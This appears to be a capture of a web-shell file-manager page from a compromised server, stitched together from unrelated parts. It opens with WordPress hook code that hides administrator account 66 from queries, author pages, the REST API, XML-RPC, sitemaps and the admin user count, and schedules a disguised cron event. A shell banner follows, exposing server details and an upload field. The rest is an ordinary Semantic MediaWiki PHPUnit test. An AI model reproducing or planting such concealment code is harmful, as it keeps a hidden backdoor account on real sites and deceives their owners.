add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/tests/phpunit/ |
Upload File : |
<?php
namespace SMW\Tests;
use SMW\DataTypeRegistry;
use SMWDataItem as DataItem;
/**
* @covers \SMW\DataTypeRegistry
* @group semantic-mediawiki
*
* @license GPL-2.0-or-later
* @since 1.9
*
* @author mwjames
*/
class DataTypeRegistryTest extends \PHPUnit\Framework\TestCase {
use PHPUnitCompat;
private $dataTypeRegistry;
protected function setUp(): void {
parent::setUp();
$this->dataTypeRegistry = DataTypeRegistry::getInstance();
}
protected function tearDown(): void {
$this->dataTypeRegistry->clear();
parent::tearDown();
}
public function testGetInstance() {
$this->assertInstanceOf(
'\SMW\DataTypeRegistry',
$this->dataTypeRegistry
);
$this->assertSame(
$this->dataTypeRegistry,
DataTypeRegistry::getInstance()
);
DataTypeRegistry::clear();
$this->assertNotSame(
$this->dataTypeRegistry,
DataTypeRegistry::getInstance()
);
}
public function testIsEqualItemType() {
$this->assertTrue(
$this->dataTypeRegistry->isEqualByType( '_wpg', '__sob' )
);
$this->assertFalse(
$this->dataTypeRegistry->isEqualByType( '_wpg', '_txt' )
);
}
public function testRegisterDatatypeWithCallable() {
$callback = static function () {
return new FooValue();
};
$this->dataTypeRegistry->registerDataType(
'_foo', $callback, DataItem::TYPE_NOTYPE, 'FooValue'
);
$this->assertTrue(
$this->dataTypeRegistry->hasDataTypeClassById( '_foo' )
);
$this->assertInstanceOf(
'\Closure',
$this->dataTypeRegistry->getDataTypeClassById( '_foo' )
);
}
public function testRegisterDatatype() {
$this->assertNull(
$this->dataTypeRegistry->getDataTypeClassById( '_foo' ),
'Asserts that prior registration getDataTypeClassById() returns null'
);
$this->dataTypeRegistry
->registerDataType( '_foo', '\SMW\Tests\FooValue', DataItem::TYPE_NOTYPE, 'FooValue' );
$this->assertEquals(
'\SMW\Tests\FooValue',
$this->dataTypeRegistry->getDataTypeClassById( '_foo' ),
'Asserts that getDataTypeClassById() returns the registered class'
);
$this->assertEquals(
DataItem::TYPE_NOTYPE,
$this->dataTypeRegistry->getDataItemId( '_foo' )
);
$this->assertEquals(
'FooValue',
$this->dataTypeRegistry->findTypeLabel( '_foo' )
);
$this->assertEmpty(
$this->dataTypeRegistry->findTypeLabel( 'FooNoLabel' )
);
$this->assertEquals(
DataItem::TYPE_NOTYPE,
$this->dataTypeRegistry->getDataItemId( 'FooBar' )
);
}
public function testRegisterDatatypeIdAndAlias() {
$this->dataTypeRegistry
->registerDataType( '_foo', '\SMW\Tests\FooValue', DataItem::TYPE_NOTYPE, 'FooValue' );
$this->assertEmpty(
$this->dataTypeRegistry->findTypeByLabel( 'FooBar' )
);
$this->dataTypeRegistry->registerDataTypeAlias( '_foo', 'FooBar' );
$this->assertTrue(
$this->dataTypeRegistry->isRegistered( '_foo' )
);
$this->assertEquals(
'_foo',
$this->dataTypeRegistry->findTypeByLabel( 'FooBar' ),
'Asserts that findTypeByLabel returns the registered alias label'
);
}
public function testGetDefaultDataItemTypeIdForValidDataItemType() {
$this->assertIsString(
$this->dataTypeRegistry->getDefaultDataItemByType( 1 )
);
}
public function testGetDefaultDataItemTypeIdForInvalidDataItemType() {
$this->assertNull(
$this->dataTypeRegistry->getDefaultDataItemByType( 9999 )
);
}
public function testFindCanonicalLabelById() {
$this->assertSame(
'Text',
$this->dataTypeRegistry->findCanonicalLabelById( '_txt' )
);
}
public function testTypeIdAndLabelAsLanguageIndependantInvocation() {
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [ '_wpg' => 'Page' ] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [ 'URI' => '_uri' ] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
$this->assertEquals(
'_wpg',
$instance->findTypeByLabel( 'Page' ),
'Asserts that findTypeByLabel returns empty label'
);
$this->assertEquals(
[ '_wpg' => 'Page' ],
$instance->getKnownTypeLabels(),
'Asserts that getKnownTypeLabels returns an array'
);
}
public function testKnownAliasAsLanguageIndependantInvocation() {
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [ 'URI' => '_uri' ] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
$this->assertEquals(
[ 'URI' => '_uri' ],
$instance->getKnownTypeAliases(),
'Asserts that getKnownTypeAliases returns an array'
);
}
public function testLookupByLabelIsCaseInsensitive() {
$caseVariants = [
'page',
'Page',
'PAGE',
'pAgE',
];
foreach ( $caseVariants as $caseVariant ) {
$this->assertRegistryFindsIdForLabels( $caseVariant, $caseVariants );
$this->assertRegistryFindsIdForAliases( $caseVariant, $caseVariants );
}
}
public function testFindTypeByLabelAndLanguage() {
$this->assertSame(
'_num',
$this->dataTypeRegistry->findTypeByLabelAndLanguage( 'Número', 'es' )
);
$this->assertSame(
'_num',
$this->dataTypeRegistry->findTypeByLabelAndLanguage( '数字', 'zh-Hans' )
);
$this->assertSame(
'_num',
$this->dataTypeRegistry->findTypeByLabelAndLanguage( 'Number', 'Foo' )
);
}
public function testFindTypeByLabelAndLanguageFromRegisteredTypeWithoutLanguageMatch() {
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'fetch' )
->willReturn( $localLanguage );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'findDatatypeByLabel' )
->willReturn( '' );
$instance = new DataTypeRegistry(
$localLanguage
);
$instance->registerDataType( '_foo', 'FooValue', DataItem::TYPE_NOTYPE, 'Foo' );
$this->assertSame(
'_foo',
$instance->findTypeByLabelAndLanguage( 'Foo', 'en' )
);
}
/**
* @dataProvider recordTypeProvider
*/
public function testIsRecordType( $typeId, $expected ) {
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
$this->assertEquals(
$expected,
$instance->isRecordType( $typeId )
);
}
public function testSubDataType() {
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
$instance->registerDataType( '_foo', 'FooValue', DataItem::TYPE_NOTYPE, false, true );
$this->assertTrue(
$instance->isSubDataType( '_foo' )
);
}
public function testBrowsableType() {
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
$instance->registerDataType( '_foo', 'FooValue', DataItem::TYPE_NOTYPE, false, true, true );
$instance->registerDataType( '_bar', 'BarValue', DataItem::TYPE_NOTYPE );
$this->assertTrue(
$instance->isBrowsableType( '_foo' )
);
$this->assertFalse(
$instance->isBrowsableType( '_bar' )
);
}
public function testGetFieldType() {
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
$instance->registerDataType( '_foo', 'FooValue', DataItem::TYPE_BLOB, false, true );
$this->assertEquals(
'_txt',
$instance->getFieldType( '_foo' )
);
}
protected function assertRegistryFindsIdForLabels( $inputLabel, array $equivalentLabels ) {
$id = '_wpg';
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [ $inputLabel => $id ] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
foreach ( $equivalentLabels as $caseVariant ) {
$this->assertEquals( $id, $instance->findTypeByLabel( $caseVariant ) );
}
}
protected function assertRegistryFindsIdForAliases( $inputLabel, array $equivalentLabels ) {
$id = '_wpg';
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [ $id => $inputLabel ] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
foreach ( $equivalentLabels as $caseVariant ) {
$this->assertEquals( $id, $instance->findTypeByLabel( $caseVariant ) );
}
}
public function testRegisterCallableGetCallablesByTypeId() {
$callback = static function () {
return 'foo';
};
$localLanguage = $this->getMockBuilder( '\SMW\Localizer\LocalLanguage\LocalLanguage' )
->disableOriginalConstructor()
->getMock();
$localLanguage->expects( $this->once() )
->method( 'getDatatypeLabels' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getDatatypeAliases' )
->willReturn( [] );
$localLanguage->expects( $this->once() )
->method( 'getCanonicalDatatypeLabels' )
->willReturn( [] );
$instance = new DataTypeRegistry(
$localLanguage
);
$instance->registerDataType(
'__foo', '\SMW\Tests\FooValue', DataItem::TYPE_NOTYPE, 'FooValue'
);
$instance->registerCallable(
'__foo', 'ext.test', $callback
);
$this->assertEquals(
[ 'ext.test' => $callback ],
$instance->getCallablesByTypeId( '__foo' )
);
}
public function recordTypeProvider() {
yield [
'_rec',
true
];
yield [
'_ref_rec',
true
];
yield [
'_mlt_rec',
true
];
yield [
'_foo',
false
];
}
}
class FooValue {
}